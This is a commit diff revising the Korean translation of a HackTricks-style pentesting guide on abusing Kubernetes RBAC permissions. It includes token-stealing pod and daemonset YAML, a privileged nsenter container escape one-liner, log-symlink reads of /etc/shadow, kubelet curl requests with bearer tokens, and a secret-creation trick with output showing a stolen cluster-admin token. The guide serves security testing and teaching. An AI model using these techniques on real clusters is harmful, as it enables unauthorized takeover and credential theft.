Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus

This commit is contained in:
Translator
2025-01-22 12:07:09 +00:00
parent d34c27d000
commit e3528e9430
@@ -3,21 +3,21 @@
{{#include ../../../banners/hacktricks-training.md}}
여기에서 잠재적으로 위험한 Roles 및 ClusterRoles 구성을 찾을 수 있습니다.\
`kubectl api-resources`를 사용하여 지원되는 모든 리소스를 얻을 수 있다는 점을 기억하세요.
`kubectl api-resources`를 사용하여 지원되는 모든 리소스를 가져올 수 있습니다.
## **권한 상승**
클러스터 내에서 **다른 권한**을 가진 **다른 주체에 대한 접근을 얻는 기술**을 의미하며(쿠버네티스 클러스터 내 또는 외부 클라우드에 대해), Kubernetes에서는 기본적으로 **권한을 상승시키기 위한 4가지 주요 기술**이 있습니다:
클러스터 내에서 **다른 권한**을 가진 **다른 주체에 대한 접근을 얻는 기술**을 의미하며 (kubernetes 클러스터 내 또는 외부 클라우드에 대해), Kubernetes에서는 기본적으로 **권한을 상승시키기 위한 4가지 주요 기술**이 있습니다:
- 쿠버네티스 클러스터 내 또는 외부 클라우드에 더 나은 권한을 가진 다른 사용자/그룹/SA를 **가장할 수 있는 능력**
- 쿠버네티스 클러스터 내 또는 외부 클라우드에 더 나은 권한을 가진 SA를 **찾거나 연결할 수 있는** **pod를 생성/패치/실행할 수 있는 능력**
- SA 토큰이 비밀로 저장되므로 **비밀을 읽을 수 있는 능력**
- 컨테이너에서 노드로 **탈출할 수 있는 능력**, 여기서 노드에서 실행 중인 모든 컨테이너의 비밀, 노드의 자격 증명 및 클라우드 내에서 실행 중인 노드의 권한을 훔칠 수 있습니다(있는 경우)
- Kubernetes 클러스터 내에서 또는 외부 클라우드에 대해 더 나은 권한을 가진 다른 사용자/그룹/SA를 **가장할 수 있는 능력**
- Kubernetes 클러스터 내에서 또는 외부 클라우드에 대해 더 나은 권한을 가진 SA를 **찾거나 연결할 수 있는** **pod를 생성/패치/실행할 수 있는 능력**
- SA 토큰이 비밀로 저장되므로 **비밀을 읽을 수 있는 능력**
- 컨테이너에서 노드로 **탈출할 수 있는 능력**, 여기서 노드에서 실행 중인 컨테이너의 모든 비밀, 노드의 자격 증명 및 클라우드 내에서 실행 중인 노드의 권한을 훔칠 수 있습니다 (있는 경우)
- 언급할 가치가 있는 다섯 번째 기술은 pod에서 **포트 포워드**를 실행할 수 있는 능력으로, 해당 pod 내의 흥미로운 리소스에 접근할 수 있을 수 있습니다.
### 모든 리소스 또는 동사에 접근하기 (와일드카드)
**와일드카드(*)는 모든 동사에 대해 모든 리소스에 대한 권한을 부여합니다**. 이는 관리자에 의해 사용됩니다. ClusterRole 내에서 이는 공격자가 클러스터의 anynamespace를 악용할 수 있음을 의미합니다.
**와일드카드 (\*)는 모든 동사에 대해 모든 리소스에 대한 권한을 부여합니다**. 이는 관리자에 의해 사용됩니다. ClusterRole 내에서 이는 공격자가 클러스터의 anynamespace를 악용할 수 있음을 의미합니다.
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
@@ -49,7 +49,7 @@ verbs: ["create", "list", "get"]
```
### Pod Create - Steal Token
권한이 있는 공격자 포드를 생성할 수 있는 경우, 포드에 특권 서비스 계정을 연결하고 토큰을 훔쳐 서비스 계정을 가장할 수 있습니다. 이를 통해 권한을 효과적으로 상승시킬 수 있습니다.
권한이 있는 공격자 포드를 생성할 수 있으며, 포드에 특권 서비스 계정을 연결하고 토큰을 훔쳐 서비스 계정을 가장할 수 있습니다. 효과적으로 권한을 상승시키는 것입니다.
`bootstrap-signer` 서비스 계정의 토큰을 훔쳐 공격자에게 전송하는 포드의 예:
```yaml
@@ -77,8 +77,8 @@ hostNetwork: true
다음은 컨테이너가 가질 수 있는 모든 권한을 나타냅니다:
- **특권 액세스** (보호 기능 비활성화 및 기능 설정)
- **hostIPC 및 hostPid 네임스페이스 비활성화** 권한 상승에 도움이 될 수 있습니다
- **hostNetwork** 네임스페이스 비활성화, 노드의 클라우드 권한을 훔치고 네트워크에 더 나은 접근을 제공합니다
- **hostIPC 및 hostPid 네임스페이스 비활성화** 권한 상승에 도움이 될 수 있
- **hostNetwork** 네임스페이스 비활성화, 노드의 클라우드 권한을 훔치고 네트워크에 더 나은 접근을 제공
- **호스트를 컨테이너 내부에 마운트**
```yaml:super_privs.yaml
apiVersion: v1
@@ -115,11 +115,11 @@ volumes:
hostPath:
path: /
```
다음과 같이 포드를 생성합니다:
포드를 생성하려면:
```bash
kubectl --token $token create -f mount_root.yaml
```
[이 트윗](https://twitter.com/mauilion/status/1129468485480751104)에서 가져온 한 줄과 몇 가지 추가 사항:
이 트윗에서의 원라이너와 몇 가지 추가 사항:
```bash
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
```
@@ -127,7 +127,7 @@ kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hos
#### Stealth
아마도 당신은 **더 은밀해지길 원할 것입니다**. 다음 페이지에서는 이전 템플릿에서 언급된 일부 권한만 활성화하여 포드를 생성할 경우 접근할 수 있는 내용을 확인할 수 있습니다:
아마도 당신은 **더 은밀하게** 행동하고 싶을 것입니다. 다음 페이지에서는 이전 템플릿에서 언급된 일부 권한만 활성화하여 **pod**를 생성할 경우 접근할 수 있는 내용을 확인할 수 있습니다:
- **Privileged + hostPID**
- **Privileged only**
@@ -136,14 +136,14 @@ kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hos
- **hostNetwork**
- **hostIPC**
_이전 특권 포드 구성 생성/악용 방법의 예는_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)에서 확인할 수 있습니다.
_이전 권한이 있는 pods 구성 생성/악용하는 방법의 예는_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)에서 확인할 수 있습니다.
### Pod Create - Move to cloud
**포드**(선택적으로 **서비스 계정**)를 **생성**할 수 있다면, **포드 또는 서비스 계정에 클라우드 역할을 할당**하여 **클라우드 환경에서 권한을 얻을 수 있습니다**.\
또한, **호스트 네트워크 네임스페이스**로 **포드**를 생성할 수 있다면, **노드** 인스턴스의 IAM 역할을 **탈취**할 수 있습니다.
**pod**(선택적으로 **service account**)를 **생성**할 수 있다면, **pod 또는 service account에 클라우드 역할을 할당**하여 **클라우드 환경에서 권한을 얻을 수** 있습니다.\
또한, **호스트 네트워크 네임스페이스**로 **pod**를 생성할 수 있다면, **노드** 인스턴스의 **IAM** 역할을 **탈취**할 수 있습니다.
자세한 내용은 다음을 확인하세요:
자세한 정보는 다음을 확인하세요:
{{#ref}}
pod-escape-privileges.md
@@ -151,9 +151,9 @@ pod-escape-privileges.md
### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs**
이 권한을 악용하여 **새 포드**를 **생성**하고 이전 예와 같이 권한을 확립할 수 있습니다.
이 권한을 악용하여 **새로운 pod**를 **생성**하고 이전 예와 같이 권한을 확립할 수 있습니다.
다음 yaml은 **데몬셋을 생성하고 포드 내부의 SA 토큰을 유출**합니다:
다음 yaml은 **daemonset을 생성하고 pod 내부의 SA 토큰을 유출**합니다:
```yaml
apiVersion: apps/v1
kind: DaemonSet
@@ -191,15 +191,15 @@ path: /
```
### **Pods Exec**
**`pods/exec`**는 **포드 내에서 셸에서 명령을 실행하는 데 사용되는 kubernetes의 리소스**입니다. 이를 통해 **컨테이너 내에서 명령을 실행하거나 셸에 들어갈 수 있습니다**.
**`pods/exec`**는 **포드 내에서 셸에서 명령을 실행하는 데 사용되는 kubernetes의 리소스**입니다. 이를 통해 **컨테이너 내에서 명령을 실행하거나 셸에 들어갈 수 있습니다**.
따라서 **포드 들어가 SA의 토큰을 훔치거나, 권한이 있는 포드에 들어가 노드로 탈출하여 노드의 모든 포드 토큰을 훔치고 (악용) 노드를 사용할 수 있습니다**:
따라서 **포드 내부로 들어가 SA의 토큰을 훔치거나, 권 포드에 들어가 노드로 탈출하여 노드의 모든 포드 토큰을 훔치고 노드를 (악용)할 수 있습니다**:
```bash
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
```
### port-forward
이 권한은 **하나의 로컬 포트를 지정된 포드의 하나의 포트 포워딩할 수 있게 해줍니다**. 이는 포드 내에서 실행 중인 애플리케이션을 쉽게 디버깅할 수 있도록 하기 위한 것이지만, 공격자는 이를 악용하여 포드 내의 흥미로운 (예: DB) 또는 취약한 애플리케이션 (웹?)에 접근할 수 있습니다:
이 권한은 **지정된 포드의 하나의 포트에 하나의 로컬 포트를 포워딩할 수 있게 해줍니다**. 이는 포드 내에서 실행 중인 애플리케이션을 쉽게 디버깅할 수 있도록 하기 위한 것이지만, 공격자는 이를 악용하여 포드 내의 흥미로운 (예: DB) 또는 취약한 애플리케이션 (웹?)에 접근할 수 있습니다:
```
kubectl port-forward pod/mypod 5000:5000
```
@@ -209,9 +209,9 @@ kubectl port-forward pod/mypod 5000:5000
이는 기본적으로 **Kube-API가 컨테이너의 로그를 가져오려고 할 때** (`kubectl logs <pod>` 사용) **포드의 `0.log`** 파일을 **Kubelet** 서비스의 `/logs/` 엔드포인트를 사용하여 요청하기 때문입니다.\
Kubelet 서비스는 기본적으로 **컨테이너의 `/var/log` 파일 시스템을 노출하는** `/logs/` 엔드포인트를 노출합니다.
따라서 **컨테이너의 /var/log/ 폴더에 쓰기 접근 권한이 있는 공격자는** 이 행동을 두 가지 방법으로 악용할 수 있습니다:
따라서 **컨테이너의 /var/log/ 폴더에 쓰기 접근 권한이 있는** 공격자는 이 행동을 두 가지 방법으로 악용할 수 있습니다:
- 컨테이너의 `0.log` 파일을 수정하여 (보통 `/var/logs/pods/namespace_pod_uid/container/0.log`에 위치) 예를 들어 **`/etc/shadow`를 가리키는 심볼릭 링크**로 만들 수 있습니다. 그러면 다음과 같이 호스트의 shadow 파일을 유출할 수 있습니다:
- 컨테이너의 `0.log` 파일을 수정하여 (보통 `/var/logs/pods/namespace_pod_uid/container/0.log`에 위치) **예를 들어 `/etc/shadow`를 가리키는 심볼릭 링크**로 만들 수 있습니다. 그러면 다음과 같이 호스트의 shadow 파일을 유출할 수 있습니다:
```bash
kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
@@ -219,7 +219,7 @@ kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
```
- 공격자가 **`nodes/log`를 읽을 수 있는 권한**을 가진 주체를 제어하는 경우, 그는 `/host-mounted/var/log/sym`에 `/`에 대한 **symlink**를 생성할 수 있으며, **`https://<gateway>:10250/logs/sym/`에 접근할 때 호스트의 루트** 파일 시스템을 나열할 수 있습니다 (symlink를 변경하면 파일에 대한 접근을 제공할 수 있습니다).
- 공격자가 **`nodes/log`를 읽을 수 있는 권한을 가진 주체**를 제어하는 경우, 그는 단순히 `/host-mounted/var/log/sym`에 `/`에 대한 **symlink**를 생성할 수 있으며, **`https://<gateway>:10250/logs/sym/`에 접근할 때 호스트의 루트** 파일 시스템을 나열할 수 있습니다 (symlink를 변경하면 파일에 대한 접근을 제공할 수 있습니다).
```bash
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
@@ -231,11 +231,11 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://
<a href="lib">lib</a>
[...]
```
**실험실 자동화된 익스플로잇은** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)에서 찾을 수 있습니다.
**실험실 자동화된 익스플로잇은** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)에서 찾을 수 있습니다.
#### readOnly 보호 우회 <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
운이 좋다면, 고급 권한을 가진 능력 `CAP_SYS_ADMIN`이 사용 가능할 경우, 폴더를 rw로 다시 마운트할 수 있습니다:
운이 좋다면, 고급 권한을 가진 `CAP_SYS_ADMIN` 기능이 사용 가능할 , 폴더를 rw로 다시 마운트할 수 있습니다:
```bash
mount -o rw,remount /hostlogs/
```
@@ -310,25 +310,88 @@ curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
### 비밀 목록 나열
### Listing Secrets
**비밀을 나열할 수 있는 권한은 공격자가 실제로 비밀을 읽을 수 있게 할 수 있습니다** REST API 엔드포인트에 접근하여:
```bash
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
### 비밀 읽기 – 토큰 ID 무차별 대입
### Creating and Reading Secrets
읽기 권한이 있는 토큰을 소유한 공격자는 이를 사용하기 위해 비밀의 정확한 이름이 필요하지만, 더 넓은 _**비밀 나열**_ 권한과는 달리 여전히 취약점이 존재합니다. 시스템의 기본 서비스 계정은 열거될 수 있으며, 각 계정은 비밀과 연결되어 있습니다. 이러한 비밀은 정적 접두사 뒤에 특정 문자를 제외한 무작위 5자 알파벳 숫자 토큰이 오는 이름 구조를 가지고 있습니다. [소스 코드](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83)에 따르면,
Kubernetes의 **kubernetes.io/service-account-token** 유형의 비밀은 serviceaccount 토큰을 저장하는 특별한 종류의 비밀입니다. 비밀을 생성하고 읽을 수 있는 권한이 있고 serviceaccount의 이름을 알고 있다면, 다음과 같이 비밀을 생성한 후 피해자의 serviceaccount 토큰을 훔칠 수 있습니다:
```yaml
apiVersion: v1
kind: Secret
metadata:
name: stolen-admin-sa-token
namespace: default
annotations:
kubernetes.io/service-account.name: cluster-admin-sa
type: kubernetes.io/service-account-token
```
예시 악용:
```bash
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)
토큰은 전체 알파벳 숫자 범위가 아닌 제한된 27자 집합(`bcdfghjklmnpqrstvwxz2456789`)에서 생성됩니다. 이 제한으로 인해 가능한 조합의 총 수는 14,348,907(27^5)로 줄어듭니다. 따라서 공격자는 몇 시간 내에 토큰을 추론하기 위해 무차별 대입 공격을 실행할 수 있으며, 이는 민감한 서비스 계정에 접근하여 권한 상승으로 이어질 수 있습니다.
$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources Non-Resource URLs Resource Names Verbs
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
secrets [] [] [get create]
[/.well-known/openid-configuration/] [] [get]
<SNIP>
[/version] [] [get]
$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"
$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"
$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
secret/stolen-admin-sa-token created
$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
{
"apiVersion": "v1",
"data": {
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
"namespace": "ZGVmYXVsdA==",
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
},
"kind": "Secret",
"metadata": {
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
"kubernetes.io/service-account.name": "cluster-admin-sa",
"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
},
"creationTimestamp": "2025-01-11T13:02:27Z",
"name": "stolen-admin-sa-token",
"namespace": "default",
"resourceVersion": "1019116",
"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
},
"type": "kubernetes.io/service-account-token"
}
```
다음과 같이 특정 네임스페이스에서 비밀을 생성하고 읽을 수 있는 권한이 있는 경우, 피해자의 서비스 계정도 동일한 네임스페이스에 있어야 합니다.
### 비밀 읽기 – 토큰 ID 무작위 대입
읽기 권한이 있는 토큰을 소유한 공격자는 이를 사용하기 위해 비밀의 정확한 이름이 필요하지만, 더 넓은 _**비밀 나열**_ 권한과는 달리 여전히 취약점이 존재합니다. 시스템의 기본 서비스 계정은 나열할 수 있으며, 각 계정은 비밀과 연결되어 있습니다. 이러한 비밀은 이름 구조가 있으며: 정적 접두사 뒤에 무작위의 다섯 자리 알파벳 숫자 토큰(특정 문자를 제외하고)이 옵니다. [소스 코드](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83)에 따르면.
토큰은 전체 알파벳 숫자 범위가 아닌 제한된 27자 집합(`bcdfghjklmnpqrstvwxz2456789`)에서 생성됩니다. 이 제한으로 인해 가능한 조합의 총 수는 14,348,907(27^5)로 줄어듭니다. 따라서 공격자는 몇 시간 내에 토큰을 추론하기 위해 무작위 대입 공격을 실행할 수 있으며, 이는 민감한 서비스 계정에 접근하여 권한 상승으로 이어질 수 있습니다.
### 인증서 서명 요청
`certificatesigningrequests` 리소스에 **`create`** 동사가 있는 경우(또는 최소한 `certificatesigningrequests/nodeClient`에 있는 경우), **새 노드의** 새로운 CeSR을 **생성**할 수 있습니다.
`certificatesigningrequests` 리소스에 **`create`** 동사를 가지고 있다면 (또는 최소한 `certificatesigningrequests/nodeClient`에서). **새 노드의** 새로운 CeSR을 **생성**할 수 있습니다.
[문서에 따르면 이 요청을 자동으로 승인하는 것이 가능합니다](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), 따라서 이 경우 **추가 권한이 필요하지 않습니다**. 그렇지 않면 요청을 승인할 수 있어야 하며, 이는 `certificatesigningrequests/approval`에서 업데이트하고 `signers`에서 리소스 이름 `<signerNameDomain>/<signerNamePath>` 또는 `<signerNameDomain>/*`로 `approve`해야 함을 의미합니다.
[문서에 따르면 이 요청을 자동으로 승인하는 것이 가능합니다](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), 따라서 이 경우 **추가 권한이 필요하지 않습니다**. 그렇지 않면 요청을 승인할 수 있어야 하며, 이는 `certificatesigningrequests/approval`에서 업데이트하고 `signers`에서 리소스 이름 `<signerNameDomain>/<signerNamePath>` 또는 `<signerNameDomain>/*`로 `approve`해야 함을 의미합니다.
모든 필요한 권한이 있는 **역할의 예**는:
모든 필요한 권한이 포함된 **역할의 예**는:
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
@@ -359,7 +422,7 @@ resourceNames:
verbs:
- approve
```
새로운 노드 CSR이 승인되었으므로, 노드의 특별 권한을 **악용**하여 **비밀을 훔치고** **권한을 상승**시킬 수 있습니다.
새로운 노드 CSR이 승인되었으므로, 노드의 특별 권한을 **악용**하여 **비밀을 훔치고** **권한을 상승**시킬 수 있습니다.
[**이 게시물**](https://www.4armed.com/blog/hacking-kubelet-on-gke/)과 [**이 게시물**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/)에서 GKE K8s TLS 부트스트랩 구성은 **자동 서명**으로 설정되어 있으며, 이를 악용하여 새로운 K8s 노드의 자격 증명을 생성한 다음 이를 사용하여 비밀을 훔쳐 권한을 상승시킵니다.\
**언급된 권한이 있다면 같은 작업을 수행할 수 있습니다.** 첫 번째 예제는 새로운 노드가 컨테이너 내부의 비밀에 접근하는 것을 방지하는 오류를 우회합니다. 왜냐하면 **노드는 자신에게 마운트된 컨테이너의 비밀만 접근할 수 있기 때문입니다.**
@@ -414,7 +477,7 @@ groups:
> **`aws-auth`**를 사용하여 **다른 계정**의 사용자에게 접근 권한을 부여하여 **지속성**을 유지할 수 있습니다.
>
> 그러나 `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **는 다른 계정에서 작동하지 않습니다**. 하지만 실제로 `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing`는 클러스터의 ARN을 이름 대신 넣으면 작동합니다.\
> `kubectl`이 작동하도록 하려면 **희생자의 kubeconfig**를 **구성**하고 aws exec args에 `--profile other_account_role`을 추가하여 kubectl이 다른 계정 프로필을 사용하여 토큰을 가져오고 AWS에 연락하도록 합니다.
> `kubectl`이 작동하도록 하려면 **희생자의 kubeconfig**를 **구성**하고 aws exec args에 `--profile other_account_role`을 추가하여 kubectl이 다른 계정 프로필을 사용하여 토큰을 가져오고 AWS에 연락하도록 해야 합니다.
### GKE에서의 권한 상승
@@ -422,7 +485,7 @@ groups:
> [!WARNING]
> K8s API 엔드포인트와 통신할 때 **GCP 인증 토큰이 전송됩니다**. 그러면 GCP는 K8s API 엔드포인트를 통해 먼저 **주체**(이메일로)가 클러스터 내에 **접근 권한이 있는지** 확인한 다음, **GCP IAM을 통해 접근 권한이 있는지** 확인합니다.\
> 만약 **어떤** 것이 **참**이라면, 응답을 받을 것입니다. **그렇지 않으면** **GCP IAM을 통해 권한을 부여하라는** 오류가 발생합니다.
> 이 중 **하나라도** **참이면**, 응답을 받게 됩니다. **아니면** **GCP IAM을 통해 권한을 부여하라는** 오류가 발생합니다.
그런 다음 첫 번째 방법은 **GCP IAM**을 사용하는 것이며, K8s 권한은 **상응하는 GCP IAM 권한**이 있으며, 주체가 이를 가지고 있다면 사용할 수 있습니다.
@@ -434,7 +497,7 @@ groups:
### 서비스 계정 토큰 생성
**TokenRequests** (`serviceaccounts/token`)를 **생성할 수 있는 주체**는 K8s API 엔드포인트와 통신할 수 있습니다 (정보는 [**여기**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)에서 확인).
**TokenRequests** (`serviceaccounts/token`)를 **생성할 수 있는 주체**는 K8s API 엔드포인트와 통신할 때 SAs (정보는 [**여기**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego))에서 확인할 수 있습니다.
### ephemeralcontainers
@@ -442,28 +505,28 @@ groups:
### ValidatingWebhookConfigurations 또는 MutatingWebhookConfigurations
`validatingwebhookconfigurations` 또는 `mutatingwebhookconfigurations`에 대해 `create`, `update` 또는 `patch` 동사를 가진 주체는 **권한 상승**을 위해 **이러한 webhookconfigurations 중 하나를 생성할 수** 있습니다.
`validatingwebhookconfigurations` 또는 `mutatingwebhookconfigurations`에 대해 `create`, `update` 또는 `patch` 동사를 가진 주체는 **이러한 webhookconfigurations 중 하나를 생성**하여 **권한을 상승**시킬 수 있습니다.
[`mutatingwebhookconfigurations` 예제는 이 게시물의 이 섹션을 확인하세요](./#malicious-admission-controller).
[`mutatingwebhookconfigurations` 예제는 이 게시물의 이 섹션을 확인하세요](#malicious-admission-controller).
### 권한 상승
다음 섹션에서 읽을 수 있듯이: [**내장된 권한 상승 방지**](./#built-in-privileged-escalation-prevention), 주체는 자신이 새로운 권한을 가지지 않고는 역할이나 클러스터 역할을 업데이트하거나 생성할 수 없습니다. 단, **`roles`** 또는 **`clusterroles`**에 대해 **`escalate`** 동사를 가진 경우는 예외입니다.\
다음 섹션에서 읽을 수 있듯이: [**내장된 권한 상승 방지**](#built-in-privileged-escalation-prevention), 주체는 자신이 새로운 권한을 가지지 않고는 역할이나 클러스터 역할을 업데이트하거나 생성할 수 없습니다. 단, **`roles`** 또는 **`clusterroles`**에 대해 **동사 `escalate`**를 가진 경우는 예외입니다.\
그렇다면 그는 더 나은 권한을 가진 새로운 역할, 클러스터 역할을 업데이트/생성할 수 있습니다.
### 노드 프록시
**`nodes/proxy`** 하위 리소스에 접근할 수 있는 주체는 Kubelet API를 통해 **pods에서 코드를 실행**할 수 있습니다 (정보는 [**이곳**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)에서 확인). Kubelet 인증에 대한 더 많은 정보는 이 페이지에서 확인하세요:
**`nodes/proxy`** 하위 리소스에 접근할 수 있는 주체는 Kubelet API를 통해 **pods에서 코드를 실행**할 수 있습니다 (정보는 [**이곳**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)에서 확인하세요). Kubelet 인증에 대한 더 많은 정보는 이 페이지에서 확인할 수 있습니다:
{{#ref}}
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
{{#endref}}
[**Kubelet API에 권한이 있는 RCE를 얻는 방법은 여기**](../pentesting-kubernetes-services/#kubelet-rce)에서 확인하세요.
[**Kubelet API에 인증된 상태로 RCE를 얻는 방법은 여기에서 확인하세요**](../pentesting-kubernetes-services/index.html#kubelet-rce).
### pods 삭제 + 스케줄링 불가능한 노드
**pods를 삭제**할 수 있는 주체(`pods` 리소스에 대한 `delete` 동사), 또는 **pods를 퇴거**할 수 있는 주체(`pods/eviction` 리소스에 대한 `create` 동사), 또는 **pod 상태를 변경**할 수 있는 주체(`pods/status` 접근)와 **다른 노드를 스케줄링 불가능하게 만들 수 있는** 주체(`nodes/status` 접근) 또는 **노드를 삭제**할 수 있는 주체(`nodes` 리소스에 대한 `delete` 동사)와 pod에 대한 제어권을 가진 주체는 **다른 노드에서 pods를 훔칠 수** 있어 **손상된** **노드**에서 **실행**되도록 하고 공격자가 **그 pods에서 토큰을 훔칠 수** 있습니다.
**pods를 삭제**할 수 있는 주체(`pods` 리소스에 대한 `delete` 동사) 또는 **pods를 퇴거**할 수 있는 주체(`pods/eviction` 리소스에 대한 `create` 동사) 또는 **pod 상태를 변경**할 수 있는 주체(`pods/status`에 대한 접근)와 **다른 노드를 스케줄링 불가능하게 만들 수 있는 주체**(`nodes/status`에 대한 접근) 또는 **노드를 삭제**할 수 있는 주체(`nodes` 리소스에 대한 `delete` 동사)와 pod에 대한 제어권을 가진 주체는 **다른 노드에서 pods를 훔쳐** **손상된** **노드**에서 **실행**되도록 할 수 있으며, 공격자는 이러한 pods에서 **토큰을 훔칠** 수 있습니다.
```bash
patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
@@ -476,7 +539,7 @@ kubectl delete pods -n kube-system <privileged_pod_name>
```
### 서비스 상태 (CVE-2020-8554)
**`services/status`**를 **수정**할 수 있는 주체는 `status.loadBalancer.ingress.ip` 필드를 설정하여 **수정되지 않은 CVE-2020-8554**를 악용하고 **클러스터에 대한 MiTM 공격**을 시작할 수 있습니다. CVE-2020-8554에 대한 대부분의 완화 조치는 ExternalIP 서비스만 방지합니다 ([**이 링크**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego) 참조).
**`services/status`**를 **수정**할 수 있는 주체는 `status.loadBalancer.ingress.ip` 필드를 설정하여 **수정되지 않은 CVE-2020-8554**를 악용하고 **클러스터에 대한 MiTM 공격**을 시작할 수 있습니다. CVE-2020-8554에 대한 대부분의 완화 조치는 ExternalIP 서비스만 방지합니다 (according to [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
### 노드 및 파드 상태
@@ -486,25 +549,25 @@ kubectl delete pods -n kube-system <privileged_pod_name>
Kubernetes는 권한 상승을 방지하기 위한 [내장 메커니즘](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping)을 가지고 있습니다.
이 시스템은 **사용자가 역할이나 역할 바인딩을 수정하여 권한을 상승시킬 수 없도록 보장**합니다. 이 규칙의 시행은 API 수준에서 이루어지며, RBAC 인자가 비활성화되어 있을 때안전 장치를 제공합니다.
이 시스템은 **사용자가 역할이나 역할 바인딩을 수정하여 권한을 상승시킬 수 없도록 보장합니다**. 이 규칙의 시행은 API 수준에서 이루어지며, RBAC 인자가 비활성화되어 있을 때도 보호 장치를 제공합니다.
규칙은 **사용자가 역할을 생성하거나 업데이트할 수 있는 것은 그 역할이 포함하는 모든 권한을 보유하고 있을 때만 가능**하다고 명시합니다. 또한 사용자의 기존 권한 범위는 생성하거나 수정하려는 역할의 범위와 일치해야 합니다: ClusterRoles의 경우 클러스터 전체에 대해, Roles의 경우 동일한 네임스페이스(또는 클러스터 전체)에 대해 제한됩니다.
